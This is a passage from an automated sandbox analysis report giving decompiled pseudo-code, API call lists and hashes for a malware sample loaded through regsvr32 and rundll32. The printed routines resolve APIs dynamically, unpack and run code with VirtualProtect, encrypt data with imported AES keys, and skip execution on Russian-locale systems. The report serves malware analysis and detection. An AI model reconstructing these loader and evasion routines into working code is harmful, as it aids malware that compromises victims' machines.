                  • Instruction Fuzzy Hash: E411BE729042459AE791DB60DC48E9B77E9AB48304F124916AB49D7350EB30EE08CB6E
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 37%
                  			E02DF1E4A(void* __eax, intOrPtr _a4) {

				 *0x2df41d0 =  *0x2df41d0 & 0x00000000;
				_push(0);
				_push(0x2df41cc);
				_push(1);
				_push(_a4);
				 *0x2df41c8 = 0xc; // executed
				L02DF215E(); // executed
				return __eax;
			}



                  0x02df1e4a
                  0x02df1e51
                  0x02df1e53
                  0x02df1e58
                  0x02df1e5a
                  0x02df1e5e
                  0x02df1e68
                  0x02df1e6d

                  APIs
                  • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(02DF20D1,00000001,02DF41CC,00000000), ref: 02DF1E68
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: DescriptorSecurity$ConvertString
                  • String ID:
                  • API String ID: 3907675253-0
                  • Opcode ID: 5642fcfc28b56c9e25c6a9fd546870ff06d7c996ed9cdb6abda6d65500c1166e
                  • Instruction ID: afc2e15a3cfc85b1a78043c40fed691207792daa3ba45eedc7714f9fea0f7073
                  • Opcode Fuzzy Hash: 5642fcfc28b56c9e25c6a9fd546870ff06d7c996ed9cdb6abda6d65500c1166e
                  • Instruction Fuzzy Hash: 9CC04CB4980301A6F790AF40ED46F477B61B760B09F110A04F704343C083F71868892D
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 158 2df1cd6-2df1ce8 RtlFreeHeap
                  C-Code - Quality: 100%
                  			E02DF1CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x2df4190, 0, _a4); // executed
				return _t2;
			}




                  0x02df1ce2
                  0x02df1ce8

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000030,02DF1C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,02DF129B), ref: 02DF1CE2
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 6e11a8b4ae8a0afba1376a48c6c2e08d5385e3b921634313f0e69f1d04866251
                  • Instruction ID: 31711457c0488f13fb24337971850adfc74057626fd486309425221bc5e36215
                  • Opcode Fuzzy Hash: 6e11a8b4ae8a0afba1376a48c6c2e08d5385e3b921634313f0e69f1d04866251
                  • Instruction Fuzzy Hash: 41B01231C80100FBCA919F00ED04F067F23B760700F218811F304106648231CC30FB1C
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF2046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 159 2df2046-2df2058 RtlAllocateHeap
                  C-Code - Quality: 100%
                  			E02DF2046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x2df4190, 0, _a4); // executed
				return _t2;
			}




                  0x02df2052
                  0x02df2058

                  APIs
                  • RtlAllocateHeap.NTDLL(00000000,?,02DF124D,00000030,74CB63F0,00000000), ref: 02DF2052
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: 8cb1b2ac8a8661b959075965ba59a20c33d7be63c33dd4a40cb901d5b02d4d7d
                  • Instruction ID: fb904b1727d3b1cbd63835a711d3f86fb4a932f9a454c631fe5959cf68495701
                  • Opcode Fuzzy Hash: 8cb1b2ac8a8661b959075965ba59a20c33d7be63c33dd4a40cb901d5b02d4d7d
                  • Instruction Fuzzy Hash: 0CB01271D80200ABCAC14F00EE04F06BF22B760700F114811F3081056083315C30EB0C
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E02DF166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x2df41c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2df41c0 - 0x43174ac4 &  !( *0x2df41c0 - 0x43174ac4);
				_t18 = E02DF1142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2df41c0 - 0x43174ac4 &  !( *0x2df41c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2df41c0 - 0x43174ac4 &  !( *0x2df41c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E02DF1C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E02DF1CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E02DF170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E02DF1CD6(_t42);
					L8:
					return _t29;
				}
			}













                  0x02df1672
                  0x02df1674
                  0x02df1690
                  0x02df16a1
                  0x02df16a8
                  0x02df1706
                  0x00000000
                  0x02df16aa
                  0x02df16aa
                  0x02df16b4
                  0x02df16b8
                  0x02df16bd
                  0x02df16c5
                  0x02df16c9
                  0x02df16ce
                  0x02df16d3
                  0x02df16d7
                  0x02df16dc
                  0x02df16dd
                  0x02df16e1
                  0x02df16e6
                  0x02df16ee
                  0x02df16ee
                  0x02df16e6
                  0x02df16d7
                  0x02df16c9
                  0x02df16f0
                  0x02df16f9
                  0x02df16fd
                  0x02df1707
                  0x02df170d
                  0x02df170d

                  APIs
                    • Part of subcall function 02DF1142: GetModuleHandleA.KERNEL32(?,00000020), ref: 02DF1166
                    • Part of subcall function 02DF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02DF1188
                    • Part of subcall function 02DF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02DF119E
                    • Part of subcall function 02DF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02DF11B4
                    • Part of subcall function 02DF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02DF11CA
                    • Part of subcall function 02DF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02DF11E0
                    • Part of subcall function 02DF1CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 02DF1D23
                    • Part of subcall function 02DF170E: VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02DF1747
                    • Part of subcall function 02DF170E: VirtualProtect.KERNEL32(00000000,?,?,?), ref: 02DF17BC
                    • Part of subcall function 02DF170E: GetLastError.KERNEL32 ref: 02DF17C2
                  • GetLastError.KERNEL32 ref: 02DF16E8
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                  • String ID:
                  • API String ID: 3135819546-0
                  • Opcode ID: 6a77a25454341114f9b6645bf1cd6bfdc2b0b0b72d119f5f044df960d130e7bc
                  • Instruction ID: cf55bc6e83f9509be4acd3accda81c37473522d162b1111eec3be93bbc1f95f0
                  • Opcode Fuzzy Hash: 6a77a25454341114f9b6645bf1cd6bfdc2b0b0b72d119f5f044df960d130e7bc
                  • Instruction Fuzzy Hash: E0112236600711EBC760DB958C84DAB77BDFF84204B090159EB0A97700EB61ED05CBA8
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions

                  Function 02DF1F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02DF1F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x2df41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x2df41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x2df41ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0x2df41a8 = _t5;
						 *0x2df41b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x2df41a4 = _t6;
						if(_t6 == 0) {
							 *0x2df41a4 =  *0x2df41a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                  0x02df1f1f
                  0x02df1f2d
                  0x02df1f33
                  0x02df1f3a
                  0x02df1f91
                  0x02df1f91
                  0x02df1f3c
                  0x02df1f44
                  0x02df1f51
                  0x02df1f51
                  0x02df1f8d
                  0x02df1f8f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02df1f46
                  0x02df1f4d
                  0x02df1f53
                  0x02df1f53
                  0x02df1f58
                  0x02df1f66
                  0x02df1f6b
                  0x02df1f71
                  0x02df1f77
                  0x02df1f7e
                  0x02df1f80
                  0x02df1f80
                  0x02df1f8a
                  0x02df1f4f
                  0x02df1f4f
                  0x00000000
                  0x02df1f4f
                  0x02df1f4d

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,02DF1231), ref: 02DF1F2D
                  • GetVersion.KERNEL32 ref: 02DF1F3C
                  • GetCurrentProcessId.KERNEL32 ref: 02DF1F58
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02DF1F71
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentEventOpenVersion
                  • String ID:
                  • API String ID: 845504543-0
                  • Opcode ID: 4aaf21aa85e616bdc6766565563b28b4214134355d637fd76f86a7318db536ae
                  • Instruction ID: 61971008bb438c0b2799a5d12140c08289d2f5f4cb4b31b52c8d889fcafacc76
                  • Opcode Fuzzy Hash: 4aaf21aa85e616bdc6766565563b28b4214134355d637fd76f86a7318db536ae
                  • Instruction Fuzzy Hash: 7EF06972DC5340AFEAE08E68B8097963BA0AB05721F124956E709EA3C0D770CCA1CB0C
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Executed Functions

                  Function 04BE1508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 107 4be1508-4be1548 CryptAcquireContextW 108 4be154e-4be158a memcpy CryptImportKey 107->108 109 4be169f-4be16a5 GetLastError 107->109 111 4be168a-4be1690 GetLastError 108->111 112 4be1590-4be15a2 CryptSetKeyParam 108->112 110 4be16a8-4be16af 109->110 113 4be1693-4be169d CryptReleaseContext 111->113 114 4be15a8-4be15b1 112->114 115 4be1676-4be167c GetLastError 112->115 113->110 116 4be15b9-4be15c6 call 4be33dc 114->116 117 4be15b3-4be15b5 114->117 118 4be167f-4be1688 CryptDestroyKey 115->118 122 4be15cc-4be15d5 116->122 123 4be166d-4be1674 116->123 117->116 119 4be15b7 117->119 118->113 119->116 124 4be15d8-4be15e0 122->124 123->118 125 4be15e5-4be1602 memcpy 124->125 126 4be15e2 124->126 127 4be161d-4be1629 125->127 128 4be1604-4be161b CryptEncrypt 125->128 126->125 129 4be1632-4be1634 127->129 128->129 130 4be1636-4be1640 129->130 131 4be1644-4be164f GetLastError 129->131 130->124 132 4be1642 130->132 133 4be1663-4be166b call 4be61da 131->133 134 4be1651-4be1661 131->134 132->134 133->118 134->118
                  C-Code - Quality: 50%
                  			E04BE1508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x4bea0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x4bea0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E04BE33DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x4bea0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x4bea0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E04BE61DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                  0x04be1511
                  0x04be1517
                  0x04be151a
                  0x04be1520
                  0x04be1520
                  0x04be1522
                  0x04be1524
                  0x04be1527
                  0x04be152d
                  0x04be152e
                  0x04be152f
                  0x04be1535
                  0x04be153a
                  0x04be1540
                  0x04be1548
                  0x04be16a5
                  0x04be154e
                  0x04be1550
                  0x04be1559
                  0x04be155e
                  0x04be1570
                  0x04be1573
                  0x04be1577
                  0x04be157e
                  0x04be1582
                  0x04be158a
                  0x04be1690
                  0x04be1590
                  0x04be1590
                  0x04be1594
                  0x04be1595
                  0x04be1597
                  0x04be15a2
                  0x04be167c
                  0x04be15a8
                  0x04be15a8
                  0x04be15ab
                  0x04be15b1
                  0x04be15b7
                  0x04be15b7
                  0x04be15bf
                  0x04be15c1
                  0x04be15c6
                  0x04be166d
                  0x04be15cc
                  0x04be15d2
                  0x04be15d5
                  0x04be15d8
                  0x04be15da
                  0x04be15db
                  0x04be15e0
                  0x04be15e2
                  0x04be15e2
                  0x04be15ec
                  0x04be15f1
                  0x04be15f4
                  0x04be15f7
                  0x04be15f9
                  0x04be1602
                  0x04be162c
                  0x04be1604
                  0x04be1615
                  0x04be1615
                  0x04be1634
                  0x00000000
                  0x00000000
                  0x04be1636
                  0x04be1639
                  0x04be163c
                  0x04be1640
                  0x00000000
                  0x04be1642
                  0x04be1651
                  0x04be1657
                  0x04be165f
                  0x04be165f
                  0x00000000
                  0x04be1640
                  0x04be1644
                  0x04be164a
                  0x04be164f
                  0x04be1666
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be164f
                  0x04be15c6
                  0x04be167f
                  0x04be1682
                  0x04be1682
                  0x04be1697
                  0x04be1697
                  0x04be16af

                  APIs
                  • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,04BE5088,00000001,04BE3ECE,00000000), ref: 04BE1540
                  • memcpy.NTDLL(04BE5088,04BE3ECE,00000010,?,?,?,04BE5088,00000001,04BE3ECE,00000000,?,04BE66D9,00000000,04BE3ECE,?,7491C740), ref: 04BE1559
                  • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 04BE1582
                  • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 04BE159A
                  • memcpy.NTDLL(00000000,7491C740,05609600,00000010), ref: 04BE15EC
                  • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,05609600,00000020,?,?,00000010), ref: 04BE1615
                  • GetLastError.KERNEL32(?,?,00000010), ref: 04BE1644
                  • GetLastError.KERNEL32 ref: 04BE1676
                  • CryptDestroyKey.ADVAPI32(00000000), ref: 04BE1682
                  • GetLastError.KERNEL32 ref: 04BE168A
                  • CryptReleaseContext.ADVAPI32(?,00000000), ref: 04BE1697
                  • GetLastError.KERNEL32(?,?,?,04BE5088,00000001,04BE3ECE,00000000,?,04BE66D9,00000000,04BE3ECE,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE169F
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                  • String ID:
                  • API String ID: 3401600162-0
                  • Opcode ID: 630064b383f8966a43dd73305340160d200aca0bcf14e3c7d25d839d8d0b6b71
                  • Instruction ID: 808a726b90de49e227cf81926c7f6d98da9357ea43fd1b5c2844e7a7dfd101dc
                  • Opcode Fuzzy Hash: 630064b383f8966a43dd73305340160d200aca0bcf14e3c7d25d839d8d0b6b71
                  • Instruction Fuzzy Hash: C6515BB1900208FFDB10DFAADC84AAE7BB9FB88350F14846AF915E7140D7759E14DB61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 137 4781226-4781236 call 4781f1e 140 478123c-478123e 137->140 141 47813a3-47813a4 137->141 142 478123f-4781246 140->142 143 4781247-4781251 call 4782046 142->143 146 4781288 143->146 147 4781253-478126e NtQuerySystemInformation 143->147 148 478128f-4781293 146->148 149 4781270 147->149 150 4781273-4781286 call 4781cd6 147->150 148->143 151 4781295-47812ae call 4781ac4 Sleep 148->151 149->150 150->148 151->142 156 47812b0-47812b4 151->156 157 47812ba-47812d2 GetLocaleInfoA 156->157 158 47813a0-47813a2 156->158 159 47812ec-47812f5 157->159 160 47812d4-47812e7 GetSystemDefaultUILanguage VerLanguageNameA 157->160 158->141 161 47812fb-47812fe 159->161 162 4781392-4781398 159->162 160->159 163 478134f-4781363 call 4781f97 161->163 164 4781300-478130b call 4781516 161->164 162->158 165 478139a GetLastError 162->165 170 4781389-478138f GetLastError 163->170 171 4781365-4781373 WaitForSingleObject 163->171 172 4781349 164->172 173 478130d-478131f GetLongPathNameW 164->173 165->158 170->162 174 4781380-4781387 CloseHandle 171->174 175 4781375-478137a GetExitCodeThread 171->175 172->163 176 4781341-4781347 173->176 177 4781321-4781332 call 4782046 173->177 174->162 175->174 176->163 177->176 180 4781334-478133f GetLongPathNameW call 4781cd6 177->180 180->163
                  C-Code - Quality: 79%
                  			E04781226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E04781F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E04782046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E04781CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E04781AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E04781F97(E047820A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E04781516(_t63,  &_a4) != 0) {
							 *0x47841b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0x47841b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E04782046(_t69 + _t23);
						 *0x47841b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E04781CD6(_t62);
						goto L21;
					}
				}
			}






















                  0x0478122c
                  0x04781231
                  0x04781236
                  0x047813a4
                  0x0478123c
                  0x0478123f
                  0x0478123f
                  0x04781243
                  0x04781246
                  0x04781247
                  0x0478124d
                  0x04781251
                  0x04781288
                  0x04781253
                  0x0478125b
                  0x04781261
                  0x04781263
                  0x04781268
                  0x0478126e
                  0x04781270
                  0x04781270
                  0x04781277
                  0x0478127d
                  0x0478127d
                  0x04781281
                  0x04781281
                  0x0478128f
                  0x04781296
                  0x0478129f
                  0x047812a2
                  0x047812a8
                  0x047812ab
                  0x047812b4
                  0x047813a0
                  0x00000000
                  0x047813a2
                  0x047812c7
                  0x047812ca
                  0x047812d2
                  0x047812d4
                  0x047812df
                  0x047812e7
                  0x047812e7
                  0x047812f5
                  0x04781392
                  0x04781392
                  0x04781398
                  0x0478139a
                  0x0478139a
                  0x00000000
                  0x047812fb
                  0x047812fe
                  0x0478134f
                  0x0478134f
                  0x0478135f
                  0x04781363
                  0x0478138f
                  0x04781365
                  0x04781368
                  0x0478136e
                  0x04781373
                  0x0478137a
                  0x0478137a
                  0x04781381
                  0x04781381
                  0x00000000
                  0x04781363
                  0x0478130b
                  0x04781349
                  0x00000000
                  0x04781349
                  0x0478130d
                  0x04781312
                  0x0478131b
                  0x0478131f
                  0x04781341
                  0x04781341
                  0x00000000
                  0x04781341
                  0x04781321
                  0x04781326
                  0x0478132b
                  0x04781332
                  0x00000000
                  0x00000000
                  0x04781337
                  0x0478133a
                  0x00000000
                  0x0478133a
                  0x047812f5

                  APIs
                    • Part of subcall function 04781F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,04781231), ref: 04781F2D
                    • Part of subcall function 04781F1E: GetVersion.KERNEL32 ref: 04781F3C
                    • Part of subcall function 04781F1E: GetCurrentProcessId.KERNEL32 ref: 04781F58
                    • Part of subcall function 04781F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04781F71
                    • Part of subcall function 04782046: RtlAllocateHeap.NTDLL(00000000,?,0478124D,00000030,74CB63F0,00000000), ref: 04782052
                  • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 0478125B
                  • Sleep.KERNEL32(00000000,00000000,00000030,74CB63F0,00000000), ref: 047812A2
                  • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 047812CA
                  • GetSystemDefaultUILanguage.KERNEL32 ref: 047812D4
                  • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 047812E7
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 04781319
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 04781337
                  • WaitForSingleObject.KERNEL32(00000000,000000FF,047820A4,?,00000000), ref: 04781368
                  • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 0478137A
                  • CloseHandle.KERNEL32(00000000), ref: 04781381
                  • GetLastError.KERNEL32(047820A4,?,00000000), ref: 04781389
                  • GetLastError.KERNEL32 ref: 0478139A
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                  • String ID:
                  • API String ID: 1327471650-0
                  • Opcode ID: 1e1657b018893ddff2e15de54c856b8392afd1623409313aac596959b8a06521
                  • Instruction ID: 6f2ba36a37f8143c766b12f17058f6026f62dbe9671eacabe4fa0248ce7ab372
                  • Opcode Fuzzy Hash: 1e1657b018893ddff2e15de54c856b8392afd1623409313aac596959b8a06521
                  • Instruction Fuzzy Hash: 4341E671980615AAD721BFA5DC48AAE7B6DEF00754FA0452EE901D7640E734EA0187A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 38%
                  			E04BE421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
